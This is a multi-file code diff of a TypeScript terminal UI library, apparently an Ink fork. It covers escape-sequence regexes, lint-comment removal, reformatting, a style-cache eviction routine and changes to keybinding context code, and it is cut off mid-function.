@@ -8,18 +8,17 @@ import { Buffer } from 'buffer'
import { PASTE_END, PASTE_START } from './termio/csi.js'
import { createTokenizer, type Tokenizer } from './termio/tokenize.js'
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const META_KEY_CODE_RE = /^(?:\x1b)([a-zA-Z0-9])$/
// eslint-disable-next-line no-control-regex
const FN_KEY_RE =
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
/^(?:\x1b+)(O|N|\[|\[\[)(?:(\d+)(?:;(\d+))?([~^$])|(?:1;)?(\d+)?([a-zA-Z]))/
// CSI u (kitty keyboard protocol): ESC [ codepoint [; modifier] u
// Example: ESC[13;2u = Shift+Enter, ESC[27u = Escape (no modifiers)
// Modifier is optional - when absent, defaults to 1 (no modifiers)
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const CSI_U_RE = /^\x1b\[(\d+)(?:;(\d+))?u/
// xterm modifyOtherKeys: ESC [ 27 ; modifier ; keycode ~
@@ -27,41 +26,41 @@ const CSI_U_RE = /^\x1b\[(\d+)(?:;(\d+))?u/
// modifyOtherKeys=2 is active or via user keybinds, typically over SSH where
// TERM sniffing misses Ghostty and we never push Kitty keyboard mode.
// Note param order is reversed vs CSI u (modifier first, keycode second).
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const MODIFY_OTHER_KEYS_RE = /^\x1b\[27;(\d+);(\d+)~/
// -- Terminal response patterns (inbound sequences from the terminal itself) --
// DECRPM: CSI ? Ps ; Pm $ y — response to DECRQM (request mode)
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const DECRPM_RE = /^\x1b\[\?(\d+);(\d+)\$y$/
// DA1: CSI ? Ps ; ... c — primary device attributes response
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const DA1_RE = /^\x1b\[\?([\d;]*)c$/
// DA2: CSI > Ps ; ... c — secondary device attributes response
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const DA2_RE = /^\x1b\[>([\d;]*)c$/
// Kitty keyboard flags: CSI ? flags u — response to CSI ? u query
// (private ? marker distinguishes from CSI u key events)
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const KITTY_FLAGS_RE = /^\x1b\[\?(\d+)u$/
// DECXCPR cursor position: CSI ? row ; col R
// The ? marker disambiguates from modified F3 keys (Shift+F3 = CSI 1;2 R,
// Ctrl+F3 = CSI 1;5 R, etc.) — plain CSI row;col R is genuinely ambiguous.
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const CURSOR_POSITION_RE = /^\x1b\[\?(\d+);(\d+)R$/
// OSC response: OSC code ; data (BEL|ST)
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const OSC_RESPONSE_RE = /^\x1b\](\d+);(.*?)(?:\x07|\x1b\\)$/s
// XTVERSION: DCS > | name ST — terminal name/version string (answer to CSI > 0 q).
// xterm.js replies "xterm.js(X.Y.Z)"; Ghostty, kitty, iTerm2, etc. reply with
// their own name. Unlike TERM_PROGRAM, this survives SSH since the query/reply
// goes through the pty, not the environment.
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const XTVERSION_RE = /^\x1bP>\|(.*?)(?:\x07|\x1b\\)$/s
// SGR mouse event: CSI < button ; col ; row M (press) or m (release)
// Button codes: 64=wheel-up, 65=wheel-down (0x40 | wheel-bit).
// Button 32=left-drag (0x20 | motion-bit). Plain 0/1/2 = left/mid/right click.
// eslint-disable-next-line no-control-regex
// biome-ignore lint/suspicious/noControlCharactersInRegex: terminal escape sequence parsing
const SGR_MOUSE_RE = /^\x1b\[<(\d+);(\d+);(\d+)([Mm])$/
function createPasteKey(content: string): ParsedKey {

View File

@@ -34,8 +34,10 @@ if (process.env.NODE_ENV === 'development') {
void import('./devtools.js')
// eslint-disable-next-line @typescript-eslint/no-explicit-any
} catch (error: unknown) {
if (error instanceof Error && (error as NodeJS.ErrnoException).code === 'ERR_MODULE_NOT_FOUND') {
// biome-ignore lint/suspicious/noConsole: intentional warning
if (
error instanceof Error &&
(error as NodeJS.ErrnoException).code === 'ERR_MODULE_NOT_FOUND'
) {
console.warn(
`
The environment variable DEV is set to true, so Ink tried to import \`react-devtools-core\`,
@@ -197,7 +199,6 @@ let _prepareAt = 0
/** Debug log helper — replaces fs.appendFileSync with console.warn. */
function debugLog(message: string): void {
// biome-ignore lint/suspicious/noConsole: debug instrumentation
console.warn(`[ink-commit] ${message}`)
}
// --- END ---
@@ -304,9 +305,7 @@ const reconciler = createReconciler<
if (COMMIT_LOG) {
const renderMs = performance.now() - _tr
if (renderMs > 10) {
debugLog(
`${_tr.toFixed(1)} SLOW_PAINT ${renderMs.toFixed(1)}ms`,
)
debugLog(`${_tr.toFixed(1)} SLOW_PAINT ${renderMs.toFixed(1)}ms`)
}
}
},

View File

@@ -114,7 +114,6 @@ const wrappedRender = async (
await Promise.resolve()
const instance = renderSync(node, options)
if (process.env.CLAUDE_CODE_DEBUG_REPAINTS === '1') {
// biome-ignore lint/suspicious/noConsole: debug instrumentation
console.warn(
`[render] first ink render: ${Math.round(process.uptime() * 1000)}ms since process start`,
)

View File

@@ -119,6 +119,44 @@ export class StylePool {
this.none = this.intern([])
}
private static readonly CACHE_MAX = 1000
/**
* Evict oldest entries from derivative caches when they exceed the limit.
* ids/styles are never evicted (id is an array index).
*/
private evictCacheIfNeeded(): void {
if (this.transitionCache.size > StylePool.CACHE_MAX) {
const keys = this.transitionCache.keys()
for (
let i = 0;
i < this.transitionCache.size - StylePool.CACHE_MAX;
i++
) {
const k = keys.next().value
if (k !== undefined) this.transitionCache.delete(k)
}
}
if (this.inverseCache.size > StylePool.CACHE_MAX) {
const keys = this.inverseCache.keys()
for (let i = 0; i < this.inverseCache.size - StylePool.CACHE_MAX; i++) {
const k = keys.next().value
if (k !== undefined) this.inverseCache.delete(k)
}
}
if (this.currentMatchCache.size > StylePool.CACHE_MAX) {
const keys = this.currentMatchCache.keys()
for (
let i = 0;
i < this.currentMatchCache.size - StylePool.CACHE_MAX;
i++
) {
const k = keys.next().value
if (k !== undefined) this.currentMatchCache.delete(k)
}
}
}
/**
* Intern a style and return its ID. Bit 0 of the ID encodes whether the
* style has a visible effect on space characters (background, inverse,
@@ -136,6 +174,7 @@ export class StylePool {
(rawId << 1) |
(styles.length > 0 && hasVisibleSpaceEffect(styles) ? 1 : 0)
this.ids.set(key, id)
this.evictCacheIfNeeded()
}
return id
}
@@ -286,7 +325,7 @@ function hasVisibleSpaceEffect(styles: AnsiCode[]): boolean {
* @see https://mitchellh.com/writing/grapheme-clusters-in-terminals
*/
// const enum is inlined at compile time - no runtime object, no property access
export const enum CellWidth {
export enum CellWidth {
// Not a wide character, cell width 1
Narrow = 0,
// Wide character, cell width 2. This cell contains the actual character.
@@ -1144,7 +1183,7 @@ type DiffCallback = (
y: number,
removed: Cell | undefined,
added: Cell | undefined,
) => boolean | void
) => boolean | undefined
/**
* Like diff(), but calls a callback for each change instead of building an array.

View File

@@ -14,9 +14,18 @@ function execFileNoThrow(
): Promise<{ code: number; stdout: string; stderr: string }> {
return new Promise(resolve => {
const { input, timeout } = options
const proc = nodeExecFile(command, args, { timeout }, (error, stdout, stderr) => {
resolve({ code: error ? 1 : 0, stdout: stdout ?? '', stderr: stderr ?? '' })
})
const proc = nodeExecFile(
command,
args,
{ timeout },
(error, stdout, stderr) => {
resolve({
code: error ? 1 : 0,
stdout: stdout ?? '',
stderr: stderr ?? '',
})
},
)
if (input && proc.stdin) {
proc.stdin.write(input)
proc.stdin.end()

View File

@@ -49,7 +49,13 @@ export default function sliceAnsi(
// pass start/end in display cells (via stringWidth), so position must
// track the same units.
const width =
token.type === 'ansi' ? 0 : token.type === 'char' ? (token.fullWidth ? 2 : stringWidth(token.value)) : 0
token.type === 'ansi'
? 0
: token.type === 'char'
? token.fullWidth
? 2
: stringWidth(token.value)
: 0
// Break AFTER trailing zero-width marks — a combining mark attaches to
// the preceding base char, so "भा" (भ + ा, 1 display cell) sliced at

View File

@@ -111,6 +111,7 @@ function isDefined(n: number): boolean {
// NaN-safe equality for layout-cache input comparison
function sameFloat(a: number, b: number): boolean {
// biome-ignore lint/suspicious/noSelfCompare: intentional NaN check (x !== x ↔ isNaN)
return a === b || (a !== a && b !== b)
}
@@ -2372,12 +2373,14 @@ function boundAxis(
if (v > maxV.value) v = maxV.value
} else if (maxU === 2) {
const m = (maxV.value * owner) / 100
// biome-ignore lint/suspicious/noSelfCompare: intentional NaN check
if (m === m && v > m) v = m
}
if (minU === 1) {
if (v < minV.value) v = minV.value
} else if (minU === 2) {
const m = (minV.value * owner) / 100
// biome-ignore lint/suspicious/noSelfCompare: intentional NaN check
if (m === m && v < m) v = m
}
return v

View File

@@ -110,7 +110,9 @@ export function useSearchInput({
if (e.key === 'delete') {
e.preventDefault()
if (cursorOffset < query.length) {
setQueryState(query.slice(0, cursorOffset) + query.slice(cursorOffset + 1))
setQueryState(
query.slice(0, cursorOffset) + query.slice(cursorOffset + 1),
)
}
return
}
@@ -159,7 +161,9 @@ export function useSearchInput({
return
}
if (cursorOffset < query.length) {
setQueryState(query.slice(0, cursorOffset) + query.slice(cursorOffset + 1))
setQueryState(
query.slice(0, cursorOffset) + query.slice(cursorOffset + 1),
)
}
return
}
@@ -207,7 +211,9 @@ export function useSearchInput({
// Regular character input
if (e.key.length >= 1 && !UNHANDLED_SPECIAL_KEYS.has(e.key)) {
e.preventDefault()
setQueryState(query.slice(0, cursorOffset) + e.key + query.slice(cursorOffset))
setQueryState(
query.slice(0, cursorOffset) + e.key + query.slice(cursorOffset),
)
setCursorOffset(cursorOffset + 1)
}
}

View File

@@ -1,7 +1,16 @@
import { createContext, useCallback, useContext, useMemo } from 'react'
import { isProgressReportingAvailable, type Progress } from '../core/terminal.js'
import {
isProgressReportingAvailable,
type Progress,
} from '../core/terminal.js'
import { BEL } from '../core/termio/ansi.js'
import { ITERM2, OSC, osc, PROGRESS, wrapForMultiplexer } from '../core/termio/osc.js'
import {
ITERM2,
OSC,
osc,
PROGRESS,
wrapForMultiplexer,
} from '../core/termio/osc.js'
type WriteRaw = (data: string) => void

View File

@@ -10,13 +10,16 @@
// ============================================================
// Core API (render/createRoot)
// ============================================================
export { default as wrappedRender, renderSync, createRoot } from './core/root.js'
export {
default as wrappedRender,
renderSync,
createRoot,
} from './core/root.js'
export type { RenderOptions, Instance, Root } from './core/root.js'
export * from './theme/theme-types.js'
// InkCore class
export { default as Ink } from './core/ink.js'
// ============================================================
// Keybindings
// ============================================================
@@ -68,8 +71,21 @@ export type {
// ============================================================
// Core types
// ============================================================
export type { DOMElement, TextNode, ElementNames, DOMNodeAttribute } from './core/dom.js'
export type { Styles, TextStyles, Color, RGBColor, HexColor, Ansi256Color, AnsiColor } from './core/styles.js'
export type {
DOMElement,
TextNode,
ElementNames,
DOMNodeAttribute,
} from './core/dom.js'
export type {
Styles,
TextStyles,
Color,
RGBColor,
HexColor,
Ansi256Color,
AnsiColor,
} from './core/styles.js'
export type { Key } from './core/events/input-event.js'
export type { FlickerReason, FrameEvent } from './core/frame.js'
export type { MatchPosition } from './core/render-to-screen.js'
@@ -83,7 +99,10 @@ export { ClickEvent } from './core/events/click-event.js'
export { EventEmitter } from './core/events/emitter.js'
export { Event } from './core/events/event.js'
export { InputEvent } from './core/events/input-event.js'
export { TerminalFocusEvent, type TerminalFocusEventType } from './core/events/terminal-focus-event.js'
export {
TerminalFocusEvent,
type TerminalFocusEventType,
} from './core/events/terminal-focus-event.js'
export { KeyboardEvent } from './core/events/keyboard-event.js'
export { FocusEvent } from './core/events/focus-event.js'
export { FocusManager } from './core/focus.js'
@@ -92,17 +111,53 @@ export { stringWidth } from './core/stringWidth.js'
export { default as wrapText } from './core/wrap-text.js'
export { default as measureElement } from './core/measure-element.js'
export { supportsTabStatus } from './core/termio/osc.js'
export { setClipboard, getClipboardPath, CLEAR_ITERM2_PROGRESS, CLEAR_TAB_STATUS, CLEAR_TERMINAL_TITLE, wrapForMultiplexer } from './core/termio/osc.js'
export { DISABLE_KITTY_KEYBOARD, DISABLE_MODIFY_OTHER_KEYS } from './core/termio/csi.js'
export { SHOW_CURSOR, DBP, DFE, DISABLE_MOUSE_TRACKING, EXIT_ALT_SCREEN, HIDE_CURSOR, ENTER_ALT_SCREEN, ENABLE_MOUSE_TRACKING } from './core/termio/dec.js'
export {
setClipboard,
getClipboardPath,
CLEAR_ITERM2_PROGRESS,
CLEAR_TAB_STATUS,
CLEAR_TERMINAL_TITLE,
wrapForMultiplexer,
} from './core/termio/osc.js'
export {
DISABLE_KITTY_KEYBOARD,
DISABLE_MODIFY_OTHER_KEYS,
} from './core/termio/csi.js'
export {
SHOW_CURSOR,
DBP,
DFE,
DISABLE_MOUSE_TRACKING,
EXIT_ALT_SCREEN,
HIDE_CURSOR,
ENTER_ALT_SCREEN,
ENABLE_MOUSE_TRACKING,
} from './core/termio/dec.js'
export { default as instances } from './core/instances.js'
export { default as renderBorder, type BorderTextOptions } from './core/render-border.js'
export { isSynchronizedOutputSupported, isXtermJs, hasCursorUpViewportYankBug, writeDiffToTerminal } from './core/terminal.js'
export { colorize, applyColor, applyTextStyles, type ColorType } from './core/colorize.js'
export {
default as renderBorder,
type BorderTextOptions,
} from './core/render-border.js'
export {
isSynchronizedOutputSupported,
isXtermJs,
hasCursorUpViewportYankBug,
writeDiffToTerminal,
} from './core/terminal.js'
export {
colorize,
applyColor,
applyTextStyles,
type ColorType,
} from './core/colorize.js'
export { wrapAnsi } from './core/wrapAnsi.js'
export { default as styles } from './core/styles.js'
export { clamp } from './core/layout/geometry.js'
export { getTerminalFocusState, getTerminalFocused, subscribeTerminalFocus } from './core/terminal-focus-state.js'
export {
getTerminalFocusState,
getTerminalFocused,
subscribeTerminalFocus,
} from './core/terminal-focus-state.js'
export { supportsHyperlinks } from './core/supports-hyperlinks.js'
// ============================================================
@@ -112,7 +167,11 @@ export { default as BaseBox } from './components/Box.js'
export type { Props as BaseBoxProps } from './components/Box.js'
export { default as BaseText } from './components/Text.js'
export type { Props as BaseTextProps } from './components/Text.js'
export { default as Button, type ButtonState, type Props as ButtonProps } from './components/Button.js'
export {
default as Button,
type ButtonState,
type Props as ButtonProps,
} from './components/Button.js'
export { default as Link } from './components/Link.js'
export type { Props as LinkProps } from './components/Link.js'
export { default as Newline } from './components/Newline.js'
@@ -120,13 +179,19 @@ export type { Props as NewlineProps } from './components/Newline.js'
export { default as Spacer } from './components/Spacer.js'
export { NoSelect } from './components/NoSelect.js'
export { RawAnsi } from './components/RawAnsi.js'
export { default as ScrollBox, type ScrollBoxHandle } from './components/ScrollBox.js'
export {
default as ScrollBox,
type ScrollBoxHandle,
} from './components/ScrollBox.js'
export { AlternateScreen } from './components/AlternateScreen.js'
// App types
export type { Props as AppProps } from './components/AppContext.js'
export type { Props as StdinProps } from './components/StdinContext.js'
export { TerminalSizeContext, type TerminalSize } from './components/TerminalSizeContext.js'
export {
TerminalSizeContext,
type TerminalSize,
} from './components/TerminalSizeContext.js'
// ============================================================
// Hooks
@@ -140,20 +205,28 @@ export { default as useStdin } from './hooks/use-stdin.js'
export { useTerminalSize } from './hooks/useTerminalSize.js'
export { useTimeout } from './hooks/useTimeout.js'
export { useMinDisplayTime } from './hooks/useMinDisplayTime.js'
export { useDoublePress, DOUBLE_PRESS_TIMEOUT_MS } from './hooks/useDoublePress.js'
export {
useDoublePress,
DOUBLE_PRESS_TIMEOUT_MS,
} from './hooks/useDoublePress.js'
export { useTabStatus, type TabStatusKind } from './hooks/use-tab-status.js'
export { useTerminalFocus } from './hooks/use-terminal-focus.js'
export { useTerminalTitle } from './hooks/use-terminal-title.js'
export { useTerminalViewport } from './hooks/use-terminal-viewport.js'
export { useSearchHighlight } from './hooks/use-search-highlight.js'
export { useDeclaredCursor } from './hooks/use-declared-cursor.js'
export { TerminalWriteProvider, useTerminalNotification, type TerminalNotification } from './hooks/useTerminalNotification.js'
export {
TerminalWriteProvider,
useTerminalNotification,
type TerminalNotification,
} from './hooks/useTerminalNotification.js'
// ============================================================
// Theme (Layer 3)
// ============================================================
export {
ThemeProvider,
setThemeConfigCallbacks,
usePreviewTheme,
useTheme,
useThemeSetting,

View File

@@ -1,84 +1,63 @@
import React, {
createContext,
type RefObject,
useContext,
useLayoutEffect,
useMemo,
} from 'react'
import type { Key } from '../core/events/input-event.js'
import {
type ChordResolveResult,
getBindingDisplayText,
resolveKeyWithChordState,
} from './resolver.js'
import type {
KeybindingContextName,
ParsedBinding,
ParsedKeystroke,
} from './types.js'
import React, { createContext, type RefObject, useContext, useLayoutEffect, useMemo } from 'react';
import type { Key } from '../core/events/input-event.js';
import { type ChordResolveResult, getBindingDisplayText, resolveKeyWithChordState } from './resolver.js';
import type { KeybindingContextName, ParsedBinding, ParsedKeystroke } from './types.js';
/** Handler registration for action callbacks */
type HandlerRegistration = {
action: string
context: KeybindingContextName
handler: () => void
}
action: string;
context: KeybindingContextName;
handler: () => void;
};
type KeybindingContextValue = {
/** Resolve a key input to an action name (with chord support) */
resolve: (
input: string,
key: Key,
activeContexts: KeybindingContextName[],
) => ChordResolveResult
resolve: (input: string, key: Key, activeContexts: KeybindingContextName[]) => ChordResolveResult;
/** Update the pending chord state */
setPendingChord: (pending: ParsedKeystroke[] | null) => void
setPendingChord: (pending: ParsedKeystroke[] | null) => void;
/** Get display text for an action (e.g., "ctrl+t") */
getDisplayText: (
action: string,
context: KeybindingContextName,
) => string | undefined
getDisplayText: (action: string, context: KeybindingContextName) => string | undefined;
/** All parsed bindings (for help display) */
bindings: ParsedBinding[]
bindings: ParsedBinding[];
/** Current pending chord keystrokes (null if not in a chord) */
pendingChord: ParsedKeystroke[] | null
pendingChord: ParsedKeystroke[] | null;
/** Currently active keybinding contexts (for priority resolution) */
activeContexts: Set<KeybindingContextName>
activeContexts: Set<KeybindingContextName>;
/** Register a context as active (call on mount) */
registerActiveContext: (context: KeybindingContextName) => void
registerActiveContext: (context: KeybindingContextName) => void;
/** Unregister a context (call on unmount) */
unregisterActiveContext: (context: KeybindingContextName) => void
unregisterActiveContext: (context: KeybindingContextName) => void;
/** Register a handler for an action (used by useKeybinding) */
registerHandler: (registration: HandlerRegistration) => () => void
registerHandler: (registration: HandlerRegistration) => () => void;
/** Invoke all handlers for an action (used by ChordInterceptor) */
invokeAction: (action: string) => boolean
}
invokeAction: (action: string) => boolean;
};
const KeybindingContext = createContext<KeybindingContextValue | null>(null)
const KeybindingContext = createContext<KeybindingContextValue | null>(null);
type ProviderProps = {
bindings: ParsedBinding[]
bindings: ParsedBinding[];
/** Ref for immediate access to pending chord (avoids React state delay) */
pendingChordRef: RefObject<ParsedKeystroke[] | null>
pendingChordRef: RefObject<ParsedKeystroke[] | null>;
/** State value for re-renders (UI updates) */
pendingChord: ParsedKeystroke[] | null
setPendingChord: (pending: ParsedKeystroke[] | null) => void
activeContexts: Set<KeybindingContextName>
registerActiveContext: (context: KeybindingContextName) => void
unregisterActiveContext: (context: KeybindingContextName) => void
pendingChord: ParsedKeystroke[] | null;
setPendingChord: (pending: ParsedKeystroke[] | null) => void;
activeContexts: Set<KeybindingContextName>;
registerActiveContext: (context: KeybindingContextName) => void;
unregisterActiveContext: (context: KeybindingContextName) => void;
/** Ref to handler registry (used by ChordInterceptor) */
handlerRegistryRef: RefObject<Map<string, Set<HandlerRegistration>>>
children: React.ReactNode
}
handlerRegistryRef: RefObject<Map<string, Set<HandlerRegistration>>>;
children: React.ReactNode;
};
export function KeybindingProvider({
bindings,
@@ -93,60 +72,54 @@ export function KeybindingProvider({
}: ProviderProps): React.ReactNode {
const value = useMemo<KeybindingContextValue>(() => {
const getDisplay = (action: string, context: KeybindingContextName) =>
getBindingDisplayText(action, context, bindings)
getBindingDisplayText(action, context, bindings);
// Register a handler for an action
const registerHandler = (registration: HandlerRegistration) => {
const registry = handlerRegistryRef.current
if (!registry) return () => {}
const registry = handlerRegistryRef.current;
if (!registry) return () => {};
if (!registry.has(registration.action)) {
registry.set(registration.action, new Set())
registry.set(registration.action, new Set());
}
registry.get(registration.action)!.add(registration)
registry.get(registration.action)!.add(registration);
// Return unregister function
return () => {
const handlers = registry.get(registration.action)
const handlers = registry.get(registration.action);
if (handlers) {
handlers.delete(registration)
handlers.delete(registration);
if (handlers.size === 0) {
registry.delete(registration.action)
registry.delete(registration.action);
}
}
}
}
};
};
// Invoke all handlers for an action
const invokeAction = (action: string): boolean => {
const registry = handlerRegistryRef.current
if (!registry) return false
const registry = handlerRegistryRef.current;
if (!registry) return false;
const handlers = registry.get(action)
if (!handlers || handlers.size === 0) return false
const handlers = registry.get(action);
if (!handlers || handlers.size === 0) return false;
// Find handlers whose context is active
for (const registration of handlers) {
if (activeContexts.has(registration.context)) {
registration.handler()
return true
registration.handler();
return true;
}
}
return false
}
return false;
};
return {
// Use ref for immediate access to pending chord, avoiding React state delay
// This is critical for chord sequences where the second key might be pressed
// before React re-renders with the updated pendingChord state
resolve: (input, key, contexts) =>
resolveKeyWithChordState(
input,
key,
contexts,
bindings,
pendingChordRef.current,
),
resolveKeyWithChordState(input, key, contexts, bindings, pendingChordRef.current),
setPendingChord,
getDisplayText: getDisplay,
bindings,
@@ -156,7 +129,7 @@ export function KeybindingProvider({
unregisterActiveContext,
registerHandler,
invokeAction,
}
};
}, [
bindings,
pendingChordRef,
@@ -166,23 +139,17 @@ export function KeybindingProvider({
registerActiveContext,
unregisterActiveContext,
handlerRegistryRef,
])
]);
return (
<KeybindingContext.Provider value={value}>
{children}
</KeybindingContext.Provider>
)
return <KeybindingContext.Provider value={value}>{children}</KeybindingContext.Provider>;
}
export function useKeybindingContext(): KeybindingContextValue {
const ctx = useContext(KeybindingContext)
const ctx = useContext(KeybindingContext);
if (!ctx) {
throw new Error(
'useKeybindingContext must be used within KeybindingProvider',
)
throw new Error('useKeybindingContext must be used within KeybindingProvider');
}
return ctx
return ctx;
}
/**
@@ -190,7 +157,7 @@ export function useKeybindingContext(): KeybindingContextValue {
* Useful for components that may render before provider is available.
*/
export function useOptionalKeybindingContext(): KeybindingContextValue | null {
return useContext(KeybindingContext)
return useContext(KeybindingContext);
}
/**
@@ -208,18 +175,15 @@ export function useOptionalKeybindingContext(): KeybindingContextValue | null {
* }
* ```
*/
export function useRegisterKeybindingContext(
context: KeybindingContextName,
isActive: boolean = true,
): void {
const keybindingContext = useOptionalKeybindingContext()
export function useRegisterKeybindingContext(context: KeybindingContextName, isActive: boolean = true): void {
const keybindingContext = useOptionalKeybindingContext();
useLayoutEffect(() => {
if (!keybindingContext || !isActive) return
if (!keybindingContext || !isActive) return;
keybindingContext.registerActiveContext(context)
keybindingContext.registerActiveContext(context);
return () => {
keybindingContext.unregisterActiveContext(context)
}
}, [context, keybindingContext, isActive])
keybindingContext.unregisterActiveContext(context);
};
}, [context, keybindingContext, isActive]);
}

View File

@@ -5,49 +5,47 @@
* wrapper. App-specific dependencies (binding loading, change subscription,
* warning display, debug logging) are injected via props.
*/
import React, { useCallback, useEffect, useRef, useState } from 'react'
import type { InputEvent } from '../core/events/input-event.js'
import React, { useCallback, useEffect, useRef, useState } from 'react';
import type { InputEvent } from '../core/events/input-event.js';
// ChordInterceptor intentionally uses useInput to intercept all keystrokes before
// other handlers process them - this is required for chord sequence support
// eslint-disable-next-line custom-rules/prefer-use-keybindings
import useInput from '../hooks/use-input.js'
import type { Key } from '../core/events/input-event.js'
import { KeybindingProvider } from './KeybindingContext.js'
import { resolveKeyWithChordState } from './resolver.js'
import useInput from '../hooks/use-input.js';
import type { Key } from '../core/events/input-event.js';
import { KeybindingProvider } from './KeybindingContext.js';
import { resolveKeyWithChordState } from './resolver.js';
import type {
KeybindingContextName,
KeybindingsLoadResult,
ParsedBinding,
ParsedKeystroke,
KeybindingWarning,
} from './types.js'
} from './types.js';
/**
* Timeout for chord sequences in milliseconds.
* If the user doesn't complete the chord within this time, it's cancelled.
*/
const CHORD_TIMEOUT_MS = 1000
const CHORD_TIMEOUT_MS = 1000;
export type KeybindingSetupProps = {
children: React.ReactNode
children: React.ReactNode;
/** Load bindings synchronously for initial render */
loadBindings: () => KeybindingsLoadResult
loadBindings: () => KeybindingsLoadResult;
/** Subscribe to binding changes; return an unsubscribe function */
subscribeToChanges: (
callback: (result: KeybindingsLoadResult) => void,
) => () => void
subscribeToChanges: (callback: (result: KeybindingsLoadResult) => void) => () => void;
/** Initialize any file watcher (idempotent). Called once on mount. */
initWatcher?: () => void | Promise<void>
initWatcher?: () => void | Promise<void>;
/** Optional callback when warnings are emitted (initial load or reload) */
onWarnings?: (warnings: KeybindingWarning[], isReload: boolean) => void
onWarnings?: (warnings: KeybindingWarning[], isReload: boolean) => void;
/** Optional debug logger */
onDebugLog?: (message: string) => void
}
onDebugLog?: (message: string) => void;
};
export function KeybindingSetup({
children,
@@ -59,115 +57,105 @@ export function KeybindingSetup({
}: KeybindingSetupProps): React.ReactNode {
// Load bindings synchronously for initial render
const [loadResult, setLoadResult] = useState<KeybindingsLoadResult>(() => {
const result = loadBindings()
const result = loadBindings();
onDebugLog?.(
`[keybindings] KeybindingSetup initialized with ${result.bindings.length} bindings, ${result.warnings.length} warnings`,
)
return result
})
);
return result;
});
const { bindings, warnings } = loadResult
const { bindings, warnings } = loadResult;
// Track if this is a reload (not initial load)
const [isReload, setIsReload] = useState(false)
const [isReload, setIsReload] = useState(false);
// Notify about warnings
useEffect(() => {
onWarnings?.(warnings, isReload)
}, [warnings, isReload, onWarnings])
onWarnings?.(warnings, isReload);
}, [warnings, isReload, onWarnings]);
// Chord state management - use ref for immediate access, state for re-renders
const pendingChordRef = useRef<ParsedKeystroke[] | null>(null)
const [pendingChord, setPendingChordState] = useState<
ParsedKeystroke[] | null
>(null)
const chordTimeoutRef = useRef<NodeJS.Timeout | null>(null)
const pendingChordRef = useRef<ParsedKeystroke[] | null>(null);
const [pendingChord, setPendingChordState] = useState<ParsedKeystroke[] | null>(null);
const chordTimeoutRef = useRef<NodeJS.Timeout | null>(null);
// Handler registry for action callbacks (used by ChordInterceptor to invoke handlers)
const handlerRegistryRef = useRef(
new Map<
string,
Set<{
action: string
context: KeybindingContextName
handler: () => void
action: string;
context: KeybindingContextName;
handler: () => void;
}>
>(),
)
);
// Active context tracking for keybinding priority resolution
const activeContextsRef = useRef<Set<KeybindingContextName>>(new Set())
const activeContextsRef = useRef<Set<KeybindingContextName>>(new Set());
const registerActiveContext = useCallback(
(context: KeybindingContextName) => {
activeContextsRef.current.add(context)
},
[],
)
const registerActiveContext = useCallback((context: KeybindingContextName) => {
activeContextsRef.current.add(context);
}, []);
const unregisterActiveContext = useCallback(
(context: KeybindingContextName) => {
activeContextsRef.current.delete(context)
},
[],
)
const unregisterActiveContext = useCallback((context: KeybindingContextName) => {
activeContextsRef.current.delete(context);
}, []);
// Clear chord timeout when component unmounts or chord changes
const clearChordTimeout = useCallback(() => {
if (chordTimeoutRef.current) {
clearTimeout(chordTimeoutRef.current)
chordTimeoutRef.current = null
clearTimeout(chordTimeoutRef.current);
chordTimeoutRef.current = null;
}
}, [])
}, []);
// Wrapper for setPendingChord that manages timeout and syncs ref+state
const setPendingChord = useCallback(
(pending: ParsedKeystroke[] | null) => {
clearChordTimeout()
clearChordTimeout();
if (pending !== null) {
// Set timeout to cancel chord if not completed
chordTimeoutRef.current = setTimeout(
(pendingChordRef, setPendingChordState) => {
onDebugLog?.('[keybindings] Chord timeout - cancelling')
pendingChordRef.current = null
setPendingChordState(null)
onDebugLog?.('[keybindings] Chord timeout - cancelling');
pendingChordRef.current = null;
setPendingChordState(null);
},
CHORD_TIMEOUT_MS,
pendingChordRef,
setPendingChordState,
)
);
}
// Update ref immediately for synchronous access in resolve()
pendingChordRef.current = pending
pendingChordRef.current = pending;
// Update state to trigger re-renders for UI updates
setPendingChordState(pending)
setPendingChordState(pending);
},
[clearChordTimeout, onDebugLog],
)
);
useEffect(() => {
// Initialize file watcher (idempotent - only runs once)
void initWatcher?.()
void initWatcher?.();
// Subscribe to changes
const unsubscribe = subscribeToChanges(result => {
// Any callback invocation is a reload since initial load happens
// synchronously in useState, not via this subscription
setIsReload(true)
setIsReload(true);
setLoadResult(result)
onDebugLog?.(
`[keybindings] Reloaded: ${result.bindings.length} bindings, ${result.warnings.length} warnings`,
)
})
setLoadResult(result);
onDebugLog?.(`[keybindings] Reloaded: ${result.bindings.length} bindings, ${result.warnings.length} warnings`);
});
return () => {
unsubscribe()
clearChordTimeout()
}
}, [subscribeToChanges, initWatcher, clearChordTimeout, onDebugLog])
unsubscribe();
clearChordTimeout();
};
}, [subscribeToChanges, initWatcher, clearChordTimeout, onDebugLog]);
return (
<KeybindingProvider
@@ -189,7 +177,7 @@ export function KeybindingSetup({
/>
{children}
</KeybindingProvider>
)
);
}
/**
@@ -203,10 +191,10 @@ export function KeybindingSetup({
* system could recognize it as completing a chord.
*/
type HandlerRegistration = {
action: string
context: KeybindingContextName
handler: () => void
}
action: string;
context: KeybindingContextName;
handler: () => void;
};
function ChordInterceptor({
bindings,
@@ -215,11 +203,11 @@ function ChordInterceptor({
activeContexts,
handlerRegistryRef,
}: {
bindings: ParsedBinding[]
